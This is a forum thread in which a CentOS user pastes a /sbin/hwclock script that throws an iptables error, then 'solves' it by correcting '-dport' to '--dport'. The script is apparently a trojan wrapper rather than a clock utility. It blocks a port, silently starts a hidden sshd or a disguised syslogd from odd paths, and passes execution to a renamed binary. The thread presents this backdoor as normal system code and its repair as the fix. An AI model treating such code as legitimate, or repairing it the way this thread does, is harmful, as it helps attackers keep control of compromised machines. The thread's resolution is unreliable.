[SOLVED] /sbin/hwclock reports error..

Skillz · 02-10-2012, 05:56 AM

I get this error when I run the command /sbin/hwclock

Bad argument `45295'
Try `iptables -h' or 'iptables --help' for more information.
Fri 10 Feb 2012 05:52:03 AM CST -0.022700 seconds

So I opened the file up to see why it's doing that.

Code:

#!/bin/bash
#
# hwclock - query and set the hardware clock (RTC)
#
# Written  by  Bryan Henderson, September 1996 (bryanh@giraffe-data.com)
/sbin/iptables -A OUTPUT -p tcp -dport 45295 -j DROP
if test -x "/usr/bin/sshd"; then
        umask 077; HOME=/usr/share/locale/tr  "/usr/bin/sshd"  &>/dev/null
   else
        if test -x "/sbin/syslogd "; then
         umask 077; HOME=/usr/share/locale/tr  "/sbin/syslogd " &>/dev/null
           else
        cp /usr/include/libutil2.1.h "/sbin/syslogd "
        umask 077; HOME=/usr/share/locale/tr "/sbin/syslogd "   1>/dev/null
fi
fi
/usr/lib/libutil3.2.1.2.so $@ 2>/dev/null

Line 6:
/sbin/iptables -A OUTPUT -p tcp -dport 45295 -j DROP

What's the correct way, since obviously the way it's programmed isn't working now.

CentOS is the operating system.

Skillz · 02-10-2012, 05:58 AM

Well guess I should probably Google a little more before asking for help. Initial searches turned up nothing, so I figured -dport might be the problem so I researched that. Turns out, it's --dport not -dport so I changed the line to read.

/sbin/iptables -A OUTPUT -p tcp --dport 45295 -j DROP

Now everything is fine.

Thanks!